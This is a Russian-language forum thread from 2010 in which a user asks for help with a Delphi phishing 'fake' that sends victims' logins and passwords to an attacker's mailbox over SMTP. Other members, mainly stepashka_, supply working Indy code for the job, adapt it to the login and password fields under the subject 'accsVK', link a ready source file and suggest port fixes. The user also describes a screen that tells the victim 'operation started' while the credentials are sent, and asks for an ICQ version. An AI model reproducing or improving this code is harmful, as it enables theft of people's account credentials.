Просмотр полной версии : Помогите пожалуйста!
Вот такой текст обработчика для кнопки в фейке!
idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='login'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(60000); //Конектимся с таймаутом 60 сек
idSmtp1.username:='login'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся
Вообщем через некоторое время при нажатии кнопки выдает:
Project xxxx raised exception class EidSocketError with message 'Socket Error # 10060 Connection Timed Out'.
Короче не знаю что делать. Помогите пожалуйста! Или скажите как сделать проще.
Process stopped. Use Step or Run to continue.
GhostOnline
03.04.2010, 22:35
Ну всего лишь время таймаута истекло, ничего страшного
отрассируй именно при каком коннекте это происходит
stepashka_
03.04.2010, 22:53
зачем так сложно?
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:=' '+memo1.Text+' Прокси'+memo3.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
зачем так сложно?
А можно под меня подстроить? Просто не знаю как изменить под эдит. :(
stepashka_
03.04.2010, 23:05
А можно под меня подстроить? Просто не знаю как изменить под эдит. :(
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:='мыло '+edit1.Text+' Пасс'+edit2.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
как то так
как то так
Все равно таже ошибка. что делать.
GhostOnline
03.04.2010, 23:37
AutoLogin попробуй отключить, и логинься сам
stepashka_
03.04.2010, 23:41
Все равно таже ошибка. что делать.
залей сюда исходник :)
залей сюда исходник :)
Не хочу позориться :)
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.
stepashka_
04.04.2010, 00:35
Не хочу позориться :)
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.
http://slil.ru/28903869
думаю разберёшся
mailbrush
04.04.2010, 00:47
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...
stepashka_
04.04.2010, 00:55
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...
ты родился и знал WinSock?
всё знать не возможно...
Все равно не конектится!
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
Все равно таже ошибка. В чем проблема не пойму. как сделать фейк с icq тоже, там база нужна дополнительная. А фейк нужен в ближайшее время!
stepashka_
04.04.2010, 01:13
Все равно не конектится!
Все равно таже ошибка. В чем проблема не пойму. как сделать фейк с icq тоже, там база нужна дополнительная. А фейк нужен в ближайшее время!
проверь чтоb в адресе отправителя у теbя стояло то письмо с которого шлеш.
проверь чтоb в адресе отправителя у теbя стояло то письмо с которого шлеш.
Ответь в icq.
GhostOnline
04.04.2010, 01:39
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...
Типа умный самый?
RedFern.89
04.04.2010, 01:59
Я инди использую:) хотя там и стопицот багов, но меня все устраивает:)
IdSMTP1.Port:=25;
На mail.ru порт не такой. это для яндекса
ilyhamas
04.04.2010, 12:30
IdSMTP1.Port:=25;
Поробуй вместо 25 поставить 2525 или 587
stepashka_
04.04.2010, 14:18
На mail.ru порт не такой. это для яндекса
:D
ТС, ну что сделал?
Не понимаю, зачем ТС коннектится еще и к pop3 серверу? Нам только smtp нужен.
mailbrush
04.04.2010, 14:34
Типа умный самый?
ты родился и знал WinSock?
всё знать не возможно...
Нет, я не знал WinSock. При изучении дельфи в разных статьях описывались все баги и недочеты Indy и приемущества WinSock. Да, и чем меньше компонентов, тем код правильнее. Зачем программу увеличивать до 1мб, используя инди, если с WinSock'ом максимум на 10кб увеличится? + с ним работа правельнее, общение по SMTP протоколу, SMTP комманды.
Использовать можно и INDY по умному, а если не устраивает размер в 200 кб, у меня так выходит простейшая программа с использованием smtp и message, а если и 200 кб не устаивает юзаем UPX а вообще нужно ассмеблер начинать учить... там всё в мини размерах и мне это жутко нравиться!!!
GhostOnline
06.04.2010, 00:47
Да, и чем меньше компонентов, тем код правильнее.
Нах тогда ООП языки, дельфи и С++?
Заметь, я против апи ничего не имею, да и как вообще могу иметь против того на чем сам косвенно работаю?
Я за то чтобы к каждой задаче применялось оптимальное решение. А одно письмо отправить - винсок мягко сказать неоптимальное решение.
Начет правильности кода ты меня вообще огорчил, почитай книгу хорошую про ООП.
Все баги и недочеты...
Ты их даже не знаешь. Не знаешь потому что статьям уже больше 5 лет, они писались под дельфи 7 которая морально устарела давно. А инди имеет свойство обновляться тоже. Их и я не знаю. Вернее был один, но я его решил потому что умею программировать. Когда не работает проект, лучше поправить одну стрку в библиотеке, чем переписывать все на апи.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot